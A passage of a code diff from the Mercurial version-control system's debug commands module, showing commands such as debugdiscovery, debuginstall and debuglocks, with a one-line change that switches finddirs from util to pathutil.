         (b'', b'seed', b'12323', b'specify the random seed use for discovery'),
     ]
     + cmdutil.remoteopts,
     _(b'[--rev REV] [OTHER]'),
 )
 def debugdiscovery(ui, repo, remoteurl=b"default", **opts):
     """runs the changeset discovery protocol in isolation"""
     opts = pycompat.byteskwargs(opts)
     remoteurl, branches = hg.parseurl(ui.expandpath(remoteurl))
     remote = hg.peer(repo, opts, remoteurl)
     ui.status(_(b'comparing with %s\n') % util.hidepassword(remoteurl))
 
     # make sure tests are repeatable
     random.seed(int(opts[b'seed']))
 
     if opts.get(b'old'):
 
         def doit(pushedrevs, remoteheads, remote=remote):
             if not util.safehasattr(remote, b'branches'):
                 # enable in-client legacy support
                 remote = localrepo.locallegacypeer(remote.local())
             common, _in, hds = treediscovery.findcommonincoming(
                 repo, remote, force=True
             )
             common = set(common)
             if not opts.get(b'nonheads'):
                 ui.writenoi18n(
                     b"unpruned common: %s\n"
                     % b" ".join(sorted(short(n) for n in common))
                 )
 
                 clnode = repo.changelog.node
                 common = repo.revs(b'heads(::%ln)', common)
                 common = {clnode(r) for r in common}
             return common, hds
 
     else:
 
         def doit(pushedrevs, remoteheads, remote=remote):
             nodes = None
             if pushedrevs:
                 revs = scmutil.revrange(repo, pushedrevs)
                 nodes = [repo[r].node() for r in revs]
             common, any, hds = setdiscovery.findcommonheads(
                 ui, repo, remote, ancestorsof=nodes
             )
             return common, hds
 
     remoterevs, _checkout = hg.addbranchrevs(repo, remote, branches, revs=None)
     localrevs = opts[b'rev']
     with util.timedcm('debug-discovery') as t:
         common, hds = doit(localrevs, remoterevs)
 
     # compute all statistics
     common = set(common)
     rheads = set(hds)
     lheads = set(repo.heads())
 
     data = {}
     data[b'elapsed'] = t.elapsed
     data[b'nb-common'] = len(common)
     data[b'nb-common-local'] = len(common & lheads)
     data[b'nb-common-remote'] = len(common & rheads)
     data[b'nb-common-both'] = len(common & rheads & lheads)
     data[b'nb-local'] = len(lheads)
     data[b'nb-local-missing'] = data[b'nb-local'] - data[b'nb-common-local']
     data[b'nb-remote'] = len(rheads)
     data[b'nb-remote-unknown'] = data[b'nb-remote'] - data[b'nb-common-remote']
     data[b'nb-revs'] = len(repo.revs(b'all()'))
     data[b'nb-revs-common'] = len(repo.revs(b'::%ln', common))
     data[b'nb-revs-missing'] = data[b'nb-revs'] - data[b'nb-revs-common']
 
     # display discovery summary
     ui.writenoi18n(b"elapsed time:  %(elapsed)f seconds\n" % data)
     ui.writenoi18n(b"heads summary:\n")
     ui.writenoi18n(b"  total common heads:  %(nb-common)9d\n" % data)
     ui.writenoi18n(b"    also local heads:  %(nb-common-local)9d\n" % data)
     ui.writenoi18n(b"    also remote heads: %(nb-common-remote)9d\n" % data)
     ui.writenoi18n(b"    both:              %(nb-common-both)9d\n" % data)
     ui.writenoi18n(b"  local heads:         %(nb-local)9d\n" % data)
     ui.writenoi18n(b"    common:            %(nb-common-local)9d\n" % data)
     ui.writenoi18n(b"    missing:           %(nb-local-missing)9d\n" % data)
     ui.writenoi18n(b"  remote heads:        %(nb-remote)9d\n" % data)
     ui.writenoi18n(b"    common:            %(nb-common-remote)9d\n" % data)
     ui.writenoi18n(b"    unknown:           %(nb-remote-unknown)9d\n" % data)
     ui.writenoi18n(b"local changesets:      %(nb-revs)9d\n" % data)
     ui.writenoi18n(b"  common:              %(nb-revs-common)9d\n" % data)
     ui.writenoi18n(b"  missing:             %(nb-revs-missing)9d\n" % data)
 
     if ui.verbose:
         ui.writenoi18n(
             b"common heads: %s\n" % b" ".join(sorted(short(n) for n in common))
         )
 
 
 _chunksize = 4 << 10
 
 
 @command(
     b'debugdownload', [(b'o', b'output', b'', _(b'path')),], optionalrepo=True
 )
 def debugdownload(ui, repo, url, output=None, **opts):
     """download a resource using Mercurial logic and config
     """
     fh = urlmod.open(ui, url, output)
 
     dest = ui
     if output:
         dest = open(output, b"wb", _chunksize)
     try:
         data = fh.read(_chunksize)
         while data:
             dest.write(data)
             data = fh.read(_chunksize)
     finally:
         if output:
             dest.close()
 
 
 @command(b'debugextensions', cmdutil.formatteropts, [], optionalrepo=True)
 def debugextensions(ui, repo, **opts):
     '''show information about active extensions'''
     opts = pycompat.byteskwargs(opts)
     exts = extensions.extensions(ui)
     hgver = util.version()
     fm = ui.formatter(b'debugextensions', opts)
     for extname, extmod in sorted(exts, key=operator.itemgetter(0)):
         isinternal = extensions.ismoduleinternal(extmod)
         extsource = pycompat.fsencode(extmod.__file__)
         if isinternal:
             exttestedwith = []  # never expose magic string to users
         else:
             exttestedwith = getattr(extmod, 'testedwith', b'').split()
         extbuglink = getattr(extmod, 'buglink', None)
 
         fm.startitem()
 
         if ui.quiet or ui.verbose:
             fm.write(b'name', b'%s\n', extname)
         else:
             fm.write(b'name', b'%s', extname)
             if isinternal or hgver in exttestedwith:
                 fm.plain(b'\n')
             elif not exttestedwith:
                 fm.plain(_(b' (untested!)\n'))
             else:
                 lasttestedversion = exttestedwith[-1]
                 fm.plain(b' (%s!)\n' % lasttestedversion)
 
         fm.condwrite(
             ui.verbose and extsource,
             b'source',
             _(b'  location: %s\n'),
             extsource or b"",
         )
 
         if ui.verbose:
             fm.plain(_(b'  bundled: %s\n') % [b'no', b'yes'][isinternal])
         fm.data(bundled=isinternal)
 
         fm.condwrite(
             ui.verbose and exttestedwith,
             b'testedwith',
             _(b'  tested with: %s\n'),
             fm.formatlist(exttestedwith, name=b'ver'),
         )
 
         fm.condwrite(
             ui.verbose and extbuglink,
             b'buglink',
             _(b'  bug reporting: %s\n'),
             extbuglink or b"",
         )
 
     fm.end()
 
 
 @command(
     b'debugfileset',
     [
         (
             b'r',
             b'rev',
             b'',
             _(b'apply the filespec on this revision'),
             _(b'REV'),
         ),
         (
             b'',
             b'all-files',
             False,
             _(b'test files from all revisions and working directory'),
         ),
         (
             b's',
             b'show-matcher',
             None,
             _(b'print internal representation of matcher'),
         ),
         (
             b'p',
             b'show-stage',
             [],
             _(b'print parsed tree at the given stage'),
             _(b'NAME'),
         ),
     ],
     _(b'[-r REV] [--all-files] [OPTION]... FILESPEC'),
 )
 def debugfileset(ui, repo, expr, **opts):
     '''parse and apply a fileset specification'''
     from . import fileset
 
     fileset.symbols  # force import of fileset so we have predicates to optimize
     opts = pycompat.byteskwargs(opts)
     ctx = scmutil.revsingle(repo, opts.get(b'rev'), None)
 
     stages = [
         (b'parsed', pycompat.identity),
         (b'analyzed', filesetlang.analyze),
         (b'optimized', filesetlang.optimize),
     ]
     stagenames = set(n for n, f in stages)
 
     showalways = set()
     if ui.verbose and not opts[b'show_stage']:
         # show parsed tree by --verbose (deprecated)
         showalways.add(b'parsed')
     if opts[b'show_stage'] == [b'all']:
         showalways.update(stagenames)
     else:
         for n in opts[b'show_stage']:
             if n not in stagenames:
                 raise error.Abort(_(b'invalid stage name: %s') % n)
         showalways.update(opts[b'show_stage'])
 
     tree = filesetlang.parse(expr)
     for n, f in stages:
         tree = f(tree)
         if n in showalways:
             if opts[b'show_stage'] or n != b'parsed':
                 ui.write(b"* %s:\n" % n)
             ui.write(filesetlang.prettyformat(tree), b"\n")
 
     files = set()
     if opts[b'all_files']:
         for r in repo:
             c = repo[r]
             files.update(c.files())
             files.update(c.substate)
     if opts[b'all_files'] or ctx.rev() is None:
         wctx = repo[None]
         files.update(
             repo.dirstate.walk(
                 scmutil.matchall(repo),
                 subrepos=list(wctx.substate),
                 unknown=True,
                 ignored=True,
             )
         )
         files.update(wctx.substate)
     else:
         files.update(ctx.files())
         files.update(ctx.substate)
 
     m = ctx.matchfileset(expr)
     if opts[b'show_matcher'] or (opts[b'show_matcher'] is None and ui.verbose):
         ui.writenoi18n(b'* matcher:\n', stringutil.prettyrepr(m), b'\n')
     for f in sorted(files):
         if not m(f):
             continue
         ui.write(b"%s\n" % f)
 
 
 @command(b'debugformat', [] + cmdutil.formatteropts)
 def debugformat(ui, repo, **opts):
     """display format information about the current repository
 
     Use --verbose to get extra information about current config value and
     Mercurial default."""
     opts = pycompat.byteskwargs(opts)
     maxvariantlength = max(len(fv.name) for fv in upgrade.allformatvariant)
     maxvariantlength = max(len(b'format-variant'), maxvariantlength)
 
     def makeformatname(name):
         return b'%s:' + (b' ' * (maxvariantlength - len(name)))
 
     fm = ui.formatter(b'debugformat', opts)
     if fm.isplain():
 
         def formatvalue(value):
             if util.safehasattr(value, b'startswith'):
                 return value
             if value:
                 return b'yes'
             else:
                 return b'no'
 
     else:
         formatvalue = pycompat.identity
 
     fm.plain(b'format-variant')
     fm.plain(b' ' * (maxvariantlength - len(b'format-variant')))
     fm.plain(b' repo')
     if ui.verbose:
         fm.plain(b' config default')
     fm.plain(b'\n')
     for fv in upgrade.allformatvariant:
         fm.startitem()
         repovalue = fv.fromrepo(repo)
         configvalue = fv.fromconfig(repo)
 
         if repovalue != configvalue:
             namelabel = b'formatvariant.name.mismatchconfig'
             repolabel = b'formatvariant.repo.mismatchconfig'
         elif repovalue != fv.default:
             namelabel = b'formatvariant.name.mismatchdefault'
             repolabel = b'formatvariant.repo.mismatchdefault'
         else:
             namelabel = b'formatvariant.name.uptodate'
             repolabel = b'formatvariant.repo.uptodate'
 
         fm.write(b'name', makeformatname(fv.name), fv.name, label=namelabel)
         fm.write(b'repo', b' %3s', formatvalue(repovalue), label=repolabel)
         if fv.default != configvalue:
             configlabel = b'formatvariant.config.special'
         else:
             configlabel = b'formatvariant.config.default'
         fm.condwrite(
             ui.verbose,
             b'config',
             b' %6s',
             formatvalue(configvalue),
             label=configlabel,
         )
         fm.condwrite(
             ui.verbose,
             b'default',
             b' %7s',
             formatvalue(fv.default),
             label=b'formatvariant.default',
         )
         fm.plain(b'\n')
     fm.end()
 
 
 @command(b'debugfsinfo', [], _(b'[PATH]'), norepo=True)
 def debugfsinfo(ui, path=b"."):
     """show information detected about current filesystem"""
     ui.writenoi18n(b'path: %s\n' % path)
     ui.writenoi18n(
         b'mounted on: %s\n' % (util.getfsmountpoint(path) or b'(unknown)')
     )
     ui.writenoi18n(b'exec: %s\n' % (util.checkexec(path) and b'yes' or b'no'))
     ui.writenoi18n(b'fstype: %s\n' % (util.getfstype(path) or b'(unknown)'))
     ui.writenoi18n(
         b'symlink: %s\n' % (util.checklink(path) and b'yes' or b'no')
     )
     ui.writenoi18n(
         b'hardlink: %s\n' % (util.checknlink(path) and b'yes' or b'no')
     )
     casesensitive = b'(unknown)'
     try:
         with pycompat.namedtempfile(prefix=b'.debugfsinfo', dir=path) as f:
             casesensitive = util.fscasesensitive(f.name) and b'yes' or b'no'
     except OSError:
         pass
     ui.writenoi18n(b'case-sensitive: %s\n' % casesensitive)
 
 
 @command(
     b'debuggetbundle',
     [
         (b'H', b'head', [], _(b'id of head node'), _(b'ID')),
         (b'C', b'common', [], _(b'id of common node'), _(b'ID')),
         (
             b't',
             b'type',
             b'bzip2',
             _(b'bundle compression type to use'),
             _(b'TYPE'),
         ),
     ],
     _(b'REPO FILE [-H|-C ID]...'),
     norepo=True,
 )
 def debuggetbundle(ui, repopath, bundlepath, head=None, common=None, **opts):
     """retrieves a bundle from a repo
 
     Every ID must be a full-length hex node id string. Saves the bundle to the
     given file.
     """
     opts = pycompat.byteskwargs(opts)
     repo = hg.peer(ui, opts, repopath)
     if not repo.capable(b'getbundle'):
         raise error.Abort(b"getbundle() not supported by target repository")
     args = {}
     if common:
         args['common'] = [bin(s) for s in common]
     if head:
         args['heads'] = [bin(s) for s in head]
     # TODO: get desired bundlecaps from command line.
     args['bundlecaps'] = None
     bundle = repo.getbundle(b'debug', **args)
 
     bundletype = opts.get(b'type', b'bzip2').lower()
     btypes = {
         b'none': b'HG10UN',
         b'bzip2': b'HG10BZ',
         b'gzip': b'HG10GZ',
         b'bundle2': b'HG20',
     }
     bundletype = btypes.get(bundletype)
     if bundletype not in bundle2.bundletypes:
         raise error.Abort(_(b'unknown bundle type specified with --type'))
     bundle2.writebundle(ui, bundle, bundlepath, bundletype)
 
 
 @command(b'debugignore', [], b'[FILE]')
 def debugignore(ui, repo, *files, **opts):
     """display the combined ignore pattern and information about ignored files
 
     With no argument display the combined ignore pattern.
 
     Given space separated file names, shows if the given file is ignored and
     if so, show the ignore rule (file and line number) that matched it.
     """
     ignore = repo.dirstate._ignore
     if not files:
         # Show all the patterns
         ui.write(b"%s\n" % pycompat.byterepr(ignore))
     else:
         m = scmutil.match(repo[None], pats=files)
         uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
         for f in m.files():
             nf = util.normpath(f)
             ignored = None
             ignoredata = None
             if nf != b'.':
                 if ignore(nf):
                     ignored = nf
                     ignoredata = repo.dirstate._ignorefileandline(nf)
                 else:
-                    for p in util.finddirs(nf):
+                    for p in pathutil.finddirs(nf):
                         if ignore(p):
                             ignored = p
                             ignoredata = repo.dirstate._ignorefileandline(p)
                             break
             if ignored:
                 if ignored == nf:
                     ui.write(_(b"%s is ignored\n") % uipathfn(f))
                 else:
                     ui.write(
                         _(
                             b"%s is ignored because of "
                             b"containing directory %s\n"
                         )
                         % (uipathfn(f), ignored)
                     )
                 ignorefile, lineno, line = ignoredata
                 ui.write(
                     _(b"(ignore rule in %s, line %d: '%s')\n")
                     % (ignorefile, lineno, line)
                 )
             else:
                 ui.write(_(b"%s is not ignored\n") % uipathfn(f))
 
 
 @command(
     b'debugindex',
     cmdutil.debugrevlogopts + cmdutil.formatteropts,
     _(b'-c|-m|FILE'),
 )
 def debugindex(ui, repo, file_=None, **opts):
     """dump index data for a storage primitive"""
     opts = pycompat.byteskwargs(opts)
     store = cmdutil.openstorage(repo, b'debugindex', file_, opts)
 
     if ui.debugflag:
         shortfn = hex
     else:
         shortfn = short
 
     idlen = 12
     for i in store:
         idlen = len(shortfn(store.node(i)))
         break
 
     fm = ui.formatter(b'debugindex', opts)
     fm.plain(
         b'   rev linkrev %s %s p2\n'
         % (b'nodeid'.ljust(idlen), b'p1'.ljust(idlen))
     )
 
     for rev in store:
         node = store.node(rev)
         parents = store.parents(node)
 
         fm.startitem()
         fm.write(b'rev', b'%6d ', rev)
         fm.write(b'linkrev', b'%7d ', store.linkrev(rev))
         fm.write(b'node', b'%s ', shortfn(node))
         fm.write(b'p1', b'%s ', shortfn(parents[0]))
         fm.write(b'p2', b'%s', shortfn(parents[1]))
         fm.plain(b'\n')
 
     fm.end()
 
 
 @command(
     b'debugindexdot',
     cmdutil.debugrevlogopts,
     _(b'-c|-m|FILE'),
     optionalrepo=True,
 )
 def debugindexdot(ui, repo, file_=None, **opts):
     """dump an index DAG as a graphviz dot file"""
     opts = pycompat.byteskwargs(opts)
     r = cmdutil.openstorage(repo, b'debugindexdot', file_, opts)
     ui.writenoi18n(b"digraph G {\n")
     for i in r:
         node = r.node(i)
         pp = r.parents(node)
         ui.write(b"\t%d -> %d\n" % (r.rev(pp[0]), i))
         if pp[1] != nullid:
             ui.write(b"\t%d -> %d\n" % (r.rev(pp[1]), i))
     ui.write(b"}\n")
 
 
 @command(b'debugindexstats', [])
 def debugindexstats(ui, repo):
     """show stats related to the changelog index"""
     repo.changelog.shortest(nullid, 1)
     index = repo.changelog.index
     if not util.safehasattr(index, b'stats'):
         raise error.Abort(_(b'debugindexstats only works with native code'))
     for k, v in sorted(index.stats().items()):
         ui.write(b'%s: %d\n' % (k, v))
 
 
 @command(b'debuginstall', [] + cmdutil.formatteropts, b'', norepo=True)
 def debuginstall(ui, **opts):
     '''test Mercurial installation
 
     Returns 0 on success.
     '''
     opts = pycompat.byteskwargs(opts)
 
     problems = 0
 
     fm = ui.formatter(b'debuginstall', opts)
     fm.startitem()
 
     # encoding
     fm.write(b'encoding', _(b"checking encoding (%s)...\n"), encoding.encoding)
     err = None
     try:
         codecs.lookup(pycompat.sysstr(encoding.encoding))
     except LookupError as inst:
         err = stringutil.forcebytestr(inst)
         problems += 1
     fm.condwrite(
         err,
         b'encodingerror',
         _(b" %s\n (check that your locale is properly set)\n"),
         err,
     )
 
     # Python
     fm.write(
         b'pythonexe',
         _(b"checking Python executable (%s)\n"),
         pycompat.sysexecutable or _(b"unknown"),
     )
     fm.write(
         b'pythonver',
         _(b"checking Python version (%s)\n"),
         (b"%d.%d.%d" % sys.version_info[:3]),
     )
     fm.write(
         b'pythonlib',
         _(b"checking Python lib (%s)...\n"),
         os.path.dirname(pycompat.fsencode(os.__file__)),
     )
 
     security = set(sslutil.supportedprotocols)
     if sslutil.hassni:
         security.add(b'sni')
 
     fm.write(
         b'pythonsecurity',
         _(b"checking Python security support (%s)\n"),
         fm.formatlist(sorted(security), name=b'protocol', fmt=b'%s', sep=b','),
     )
 
     # These are warnings, not errors. So don't increment problem count. This
     # may change in the future.
     if b'tls1.2' not in security:
         fm.plain(
             _(
                 b'  TLS 1.2 not supported by Python install; '
                 b'network connections lack modern security\n'
             )
         )
     if b'sni' not in security:
         fm.plain(
             _(
                 b'  SNI not supported by Python install; may have '
                 b'connectivity issues with some servers\n'
             )
         )
 
     # TODO print CA cert info
 
     # hg version
     hgver = util.version()
     fm.write(
         b'hgver', _(b"checking Mercurial version (%s)\n"), hgver.split(b'+')[0]
     )
     fm.write(
         b'hgverextra',
         _(b"checking Mercurial custom build (%s)\n"),
         b'+'.join(hgver.split(b'+')[1:]),
     )
 
     # compiled modules
     fm.write(
         b'hgmodulepolicy', _(b"checking module policy (%s)\n"), policy.policy
     )
     fm.write(
         b'hgmodules',
         _(b"checking installed modules (%s)...\n"),
         os.path.dirname(pycompat.fsencode(__file__)),
     )
 
     rustandc = policy.policy in (b'rust+c', b'rust+c-allow')
     rustext = rustandc  # for now, that's the only case
     cext = policy.policy in (b'c', b'allow') or rustandc
     nopure = cext or rustext
     if nopure:
         err = None
         try:
             if cext:
                 from .cext import (
                     base85,
                     bdiff,
                     mpatch,
                     osutil,
                 )
 
                 # quiet pyflakes
                 dir(bdiff), dir(mpatch), dir(base85), dir(osutil)
             if rustext:
                 from .rustext import (
                     ancestor,
                     dirstate,
                 )
 
                 dir(ancestor), dir(dirstate)  # quiet pyflakes
         except Exception as inst:
             err = stringutil.forcebytestr(inst)
             problems += 1
         fm.condwrite(err, b'extensionserror', b" %s\n", err)
 
     compengines = util.compengines._engines.values()
     fm.write(
         b'compengines',
         _(b'checking registered compression engines (%s)\n'),
         fm.formatlist(
             sorted(e.name() for e in compengines),
             name=b'compengine',
             fmt=b'%s',
             sep=b', ',
         ),
     )
     fm.write(
         b'compenginesavail',
         _(b'checking available compression engines (%s)\n'),
         fm.formatlist(
             sorted(e.name() for e in compengines if e.available()),
             name=b'compengine',
             fmt=b'%s',
             sep=b', ',
         ),
     )
     wirecompengines = compression.compengines.supportedwireengines(
         compression.SERVERROLE
     )
     fm.write(
         b'compenginesserver',
         _(
             b'checking available compression engines '
             b'for wire protocol (%s)\n'
         ),
         fm.formatlist(
             [e.name() for e in wirecompengines if e.wireprotosupport()],
             name=b'compengine',
             fmt=b'%s',
             sep=b', ',
         ),
     )
     re2 = b'missing'
     if util._re2:
         re2 = b'available'
     fm.plain(_(b'checking "re2" regexp engine (%s)\n') % re2)
     fm.data(re2=bool(util._re2))
 
     # templates
     p = templater.templatepaths()
     fm.write(b'templatedirs', b'checking templates (%s)...\n', b' '.join(p))
     fm.condwrite(not p, b'', _(b" no template directories found\n"))
     if p:
         m = templater.templatepath(b"map-cmdline.default")
         if m:
             # template found, check if it is working
             err = None
             try:
                 templater.templater.frommapfile(m)
             except Exception as inst:
                 err = stringutil.forcebytestr(inst)
                 p = None
             fm.condwrite(err, b'defaulttemplateerror', b" %s\n", err)
         else:
             p = None
         fm.condwrite(
             p, b'defaulttemplate', _(b"checking default template (%s)\n"), m
         )
         fm.condwrite(
             not m,
             b'defaulttemplatenotfound',
             _(b" template '%s' not found\n"),
             b"default",
         )
     if not p:
         problems += 1
     fm.condwrite(
         not p, b'', _(b" (templates seem to have been installed incorrectly)\n")
     )
 
     # editor
     editor = ui.geteditor()
     editor = util.expandpath(editor)
     editorbin = procutil.shellsplit(editor)[0]
     fm.write(b'editor', _(b"checking commit editor... (%s)\n"), editorbin)
     cmdpath = procutil.findexe(editorbin)
     fm.condwrite(
         not cmdpath and editor == b'vi',
         b'vinotfound',
         _(
             b" No commit editor set and can't find %s in PATH\n"
             b" (specify a commit editor in your configuration"
             b" file)\n"
         ),
         not cmdpath and editor == b'vi' and editorbin,
     )
     fm.condwrite(
         not cmdpath and editor != b'vi',
         b'editornotfound',
         _(
             b" Can't find editor '%s' in PATH\n"
             b" (specify a commit editor in your configuration"
             b" file)\n"
         ),
         not cmdpath and editorbin,
     )
     if not cmdpath and editor != b'vi':
         problems += 1
 
     # check username
     username = None
     err = None
     try:
         username = ui.username()
     except error.Abort as e:
         err = stringutil.forcebytestr(e)
         problems += 1
 
     fm.condwrite(
         username, b'username', _(b"checking username (%s)\n"), username
     )
     fm.condwrite(
         err,
         b'usernameerror',
         _(
             b"checking username...\n %s\n"
             b" (specify a username in your configuration file)\n"
         ),
         err,
     )
 
     for name, mod in extensions.extensions():
         handler = getattr(mod, 'debuginstall', None)
         if handler is not None:
             problems += handler(ui, fm)
 
     fm.condwrite(not problems, b'', _(b"no problems detected\n"))
     if not problems:
         fm.data(problems=problems)
     fm.condwrite(
         problems,
         b'problems',
         _(b"%d problems detected, please check your install!\n"),
         problems,
     )
     fm.end()
 
     return problems
 
 
 @command(b'debugknown', [], _(b'REPO ID...'), norepo=True)
 def debugknown(ui, repopath, *ids, **opts):
     """test whether node ids are known to a repo
 
     Every ID must be a full-length hex node id string. Returns a list of 0s
     and 1s indicating unknown/known.
     """
     opts = pycompat.byteskwargs(opts)
     repo = hg.peer(ui, opts, repopath)
     if not repo.capable(b'known'):
         raise error.Abort(b"known() not supported by target repository")
     flags = repo.known([bin(s) for s in ids])
     ui.write(b"%s\n" % (b"".join([f and b"1" or b"0" for f in flags])))
 
 
 @command(b'debuglabelcomplete', [], _(b'LABEL...'))
 def debuglabelcomplete(ui, repo, *args):
     '''backwards compatibility with old bash completion scripts (DEPRECATED)'''
     debugnamecomplete(ui, repo, *args)
 
 
 @command(
     b'debuglocks',
     [
         (b'L', b'force-lock', None, _(b'free the store lock (DANGEROUS)')),
         (
             b'W',
             b'force-wlock',
             None,
             _(b'free the working state lock (DANGEROUS)'),
         ),
         (b's', b'set-lock', None, _(b'set the store lock until stopped')),
         (
             b'S',
             b'set-wlock',
             None,
             _(b'set the working state lock until stopped'),
         ),
     ],
     _(b'[OPTION]...'),
 )
 def debuglocks(ui, repo, **opts):
     """show or modify state of locks
 
     By default, this command will show which locks are held. This
     includes the user and process holding the lock, the amount of time
     the lock has been held, and the machine name where the process is
     running if it's not local.
 
     Locks protect the integrity of Mercurial's data, so should be
     treated with care. System crashes or other interruptions may cause
     locks to not be properly released, though Mercurial will usually
     detect and remove such stale locks automatically.
 
     However, detecting stale locks may not always be possible (for
     instance, on a shared filesystem). Removing locks may also be
     blocked by filesystem permissions.
 
     Setting a lock will prevent other commands from changing the data.
     The command will wait until an interruption (SIGINT, SIGTERM, ...) occurs.
     The set locks are removed when the command exits.
 
     Returns 0 if no locks are held.
 
     """
 
     if opts.get('force_lock'):
         repo.svfs.unlink(b'lock')
     if opts.get('force_wlock'):
         repo.vfs.unlink(b'wlock')
     if opts.get('force_lock') or opts.get('force_wlock'):
         return 0
 
     locks = []
     try:
         if opts.get('set_wlock'):
             try:
                 locks.append(repo.wlock(False))
             except error.LockHeld:
                 raise error.Abort(_(b'wlock is already held'))
         if opts.get('set_lock'):
             try:
                 locks.append(repo.lock(False))
             except error.LockHeld:
                 raise error.Abort(_(b'lock is already held'))
         if len(locks):
             ui.promptchoice(_(b"ready to release the lock (y)? $$ &Yes"))
             return 0
     finally:
         release(*locks)
 
     now = time.time()
     held = 0
 
     def report(vfs, name, method):
         # this causes stale locks to get reaped for more accurate reporting
         try:
             l = method(False)
         except error.LockHeld:
             l = None
 
         if l:
             l.release()
         else:
             try:
                 st = vfs.lstat(name)
                 age = now - st[stat.ST_MTIME]
                 user = util.username(st.st_uid)
                 locker = vfs.readlock(name)
                 if b":" in locker:
                     host, pid = locker.split(b':')
                     if host == socket.gethostname():
                         locker = b'user %s, process %s' % (user or b'None', pid)
                     else:
                         locker = b'user %s, process %s, host %s' % (
                             user or b'None',
                             pid,
                             host,
                         )
                 ui.writenoi18n(b"%-6s %s (%ds)\n" % (name + b":", locker, age))
                 return 1
             except OSError as e:
                 if e.errno != errno.ENOENT:
                     raise
 
         ui.writenoi18n(b"%-6s free\n" % (name + b":"))
         return 0
 
     held += report(repo.svfs, b"lock", repo.lock)
     held += report(repo.vfs, b"wlock", repo.wlock)
 
     return held
 
 
 @command(
     b'debugmanifestfulltextcache',
     [
         (b'', b'clear', False, _(b'clear the cache')),
         (
             b'a',
             b'add',
             [],
             _(b'add the given manifest nodes to the cache'),
             _(b'NODE'),
         ),
     ],
     b'',
 )
 def debugmanifestfulltextcache(ui, repo, add=(), **opts):
     """show, clear or amend the contents of the manifest fulltext cache"""
 
     def getcache():
         r = repo.manifestlog.getstorage(b'')
         try:
             return r._fulltextcache
         except AttributeError:
             msg = _(
                 b"Current revlog implementation doesn't appear to have a "
                 b"manifest fulltext cache\n"
             )
             raise error.Abort(msg)
 
     if opts.get('clear'):
         with repo.wlock():
             cache = getcache()
             cache.clear(clear_persisted_data=True)
             return
 
     if add:
         with repo.wlock():
             m = repo.manifestlog
             store = m.getstorage(b'')
             for n in add:
                 try:
                     manifest = m[store.lookup(n)]
                 except error.LookupError as e:
                     raise error.Abort(e, hint=b"Check your manifest node id")
                 manifest.read()  # stores revisision in cache too
             return
 
     cache = getcache()
     if not len(cache):
         ui.write(_(b'cache empty\n'))
     else:
         ui.write(
             _(
                 b'cache contains %d manifest entries, in order of most to '
                 b'least recent:\n'
             )
             % (len(cache),)
         )
         totalsize = 0
         for nodeid in cache:
             # Use cache.get to not update the LRU order
             data = cache.peek(nodeid)
             size = len(data)
             totalsize += size + 24  # 20 bytes nodeid, 4 bytes size
             ui.write(
                 _(b'id: %s, size %s\n') % (hex(nodeid), util.bytecount(size))
             )
         ondisk = cache._opener.stat(b'manifestfulltextcache').st_size
         ui.write(
             _(b'total cache data size %s, on-disk %s\n')
             % (util.bytecount(totalsize), util.bytecount(ondisk))
         )
 
 
 @command(b'debugmergestate', [], b'')
 def debugmergestate(ui, repo, *args):
     """print merge state
 
     Use --verbose to print out information about whether v1 or v2 merge state
     was chosen."""
 
     def _hashornull(h):
         if h == nullhex:
             return b'null'
         else:
             return h
 
     def printrecords(version):
         ui.writenoi18n(b'* version %d records\n' % version)
         if version == 1:
             records = v1records
         else:
             records = v2records
 
         for rtype, record in records:
             # pretty print some record types
             if rtype == b'L':
                 ui.writenoi18n(b'local: %s\n' % record)
             elif rtype == b'O':
                 ui.writenoi18n(b'other: %s\n' % record)
             elif rtype == b'm':
                 driver, mdstate = record.split(b'\0', 1)
                 ui.writenoi18n(
                     b'merge driver: %s (state "%s")\n' % (driver, mdstate)
                 )
             elif rtype in b'FDC':
                 r = record.split(b'\0')
                 f, state, hash, lfile, afile, anode, ofile = r[0:7]
                 if version == 1:
                     onode = b'not stored in v1 format'
                     flags = r[7]
                 else:
                     onode, flags = r[7:9]
                 ui.writenoi18n(
                     b'file: %s (record type "%s", state "%s", hash %s)\n'
                     % (f, rtype, state, _hashornull(hash))
                 )
                 ui.writenoi18n(
                     b'  local path: %s (flags "%s")\n' % (lfile, flags)
                 )
                 ui.writenoi18n(
                     b'  ancestor path: %s (node %s)\n'
                     % (afile, _hashornull(anode))
                 )
                 ui.writenoi18n(
                     b'  other path: %s (node %s)\n'
                     % (ofile, _hashornull(onode))
                 )
             elif rtype == b'f':
                 filename, rawextras = record.split(b'\0', 1)
                 extras = rawextras.split(b'\0')
                 i = 0
                 extrastrings = []
                 while i < len(extras):
                     extrastrings.append(b'%s = %s' % (extras[i], extras[i + 1]))
                     i += 2
 
                 ui.writenoi18n(
                     b'file extras: %s (%s)\n'
                     % (filename, b', '.join(extrastrings))
                 )
             elif rtype == b'l':
                 labels = record.split(b'\0', 2)
                 labels = [l for l in labels if len(l) > 0]
                 ui.writenoi18n(b'labels:\n')
                 ui.write((b'  local: %s\n' % labels[0]))
                 ui.write((b'  other: %s\n' % labels[1]))
                 if len(labels) > 2:
                     ui.write((b'  base:  %s\n' % labels[2]))
             else:
                 ui.writenoi18n(
                     b'unrecognized entry: %s\t%s\n'
                     % (rtype, record.replace(b'\0', b'\t'))
                 )
 
     # Avoid mergestate.read() since it may raise an exception for unsupported
     # merge state records. We shouldn't be doing this, but this is OK since this
     # command is pretty low-level.
     ms = mergemod.mergestate(repo)
 
     # sort so that reasonable information is on top
     v1records = ms._readrecordsv1()
     v2records = ms._readrecordsv2()
     order = b'LOml'
 
     def key(r):
         idx = order.find(r[0])
         if idx == -1:
             return (1, r[1])
         else:
             return (0, idx)
 
     v1records.sort(key=key)
     v2records.sort(key=key)
 
     if not v1records and not v2records:
         ui.writenoi18n(b'no merge state found\n')
     elif not v2records:
         ui.notenoi18n(b'no version 2 merge state\n')
         printrecords(1)
     elif ms._v1v2match(v1records, v2records):
         ui.notenoi18n(b'v1 and v2 states match: using v2\n')
         printrecords(2)
     else:
         ui.notenoi18n(b'v1 and v2 states mismatch: using v1\n')
         printrecords(1)
         if ui.verbose:
             printrecords(2)
 
 
 @command(b'debugnamecomplete', [], _(b'NAME...'))
 def debugnamecomplete(ui, repo, *args):
     '''complete "names" - tags, open branch names, bookmark names'''
 
     names = set()
     # since we previously only listed open branches, we will handle that
     # specially (after this for loop)
     for name, ns in pycompat.iteritems(repo.names):
         if name != b'branches':
             names.update(ns.listnames(repo))
     names.update(
         tag
         for (tag, heads, tip, closed) in repo.branchmap().iterbranches()
         if not closed
     )
     completions = set()
     if not args:
         args = [b'']
